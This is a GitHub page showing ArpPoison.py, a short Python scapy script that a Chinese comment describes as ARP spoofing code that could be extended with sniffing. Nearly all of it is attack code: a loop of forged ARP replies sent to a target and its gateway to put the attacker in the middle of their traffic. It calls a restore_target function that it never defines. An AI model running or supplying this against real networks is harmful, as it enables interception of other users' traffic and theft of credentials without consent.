-
Notifications
You must be signed in to change notification settings - Fork 18
Expand file tree
/
Copy pathArpPoison.py
More file actions
68 lines (52 loc) · 1.37 KB
/
ArpPoison.py
File metadata and controls
68 lines (52 loc) · 1.37 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#!coding=utf-8
from scapy.all import *
import os
import sys
import threading
import signal
'''
这是一个arp欺骗的代码,可以再加上嗅探功能!
'''
def poison_target(gateway_ip,gateway_mac,target_ip,target_mac):
poison_target=ARP()
poison_target.op=2
poison_target.psrc=gateway_ip
poison_target.pdst=target_ip
poison_target.hwdst=target_mac
poison_gateway=ARP()
poison_gateway.op=2
poison_gateway.psrc=target_ip
poison_gateway.pdst=gateway_ip
poison_gateway.hwdst=gateway_mac
print "[*]Beging the ARP poison"
while True:
try:
send(poison_target)
send(poison_gateway)
time.sleep(1)
except KeyboardInterrupt:
restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
print "[*]ARP poison attack finished"
return
if __name__=="__main__":
interface='eth0'
target_ip=''
gateway_ip=''
gateway_mac=''
target_mac=''
packet_count=1000
conf.iface=interface
conf.verb=0
print "[*]Setting up %s" % interface
if gateway_mac is None:
print "[!!!]Failed to get gateway MAC.Exiting."
sys.exit(0)
else:
print "[*]gateway %s is at %s" % (gateway_ip,gateway_mac)
if target_mac is None:
print "[!!!]Failed to get target MAC.Exiting."
sys.exit(0)
else:
print "[*]target %s is at %s" % (target_ip,target_mac)
poison_thread=threading.Thread(target=poison_target,args=(gateway_ip,gateway_mac,target_ip,target_mac))
poison_thread.start()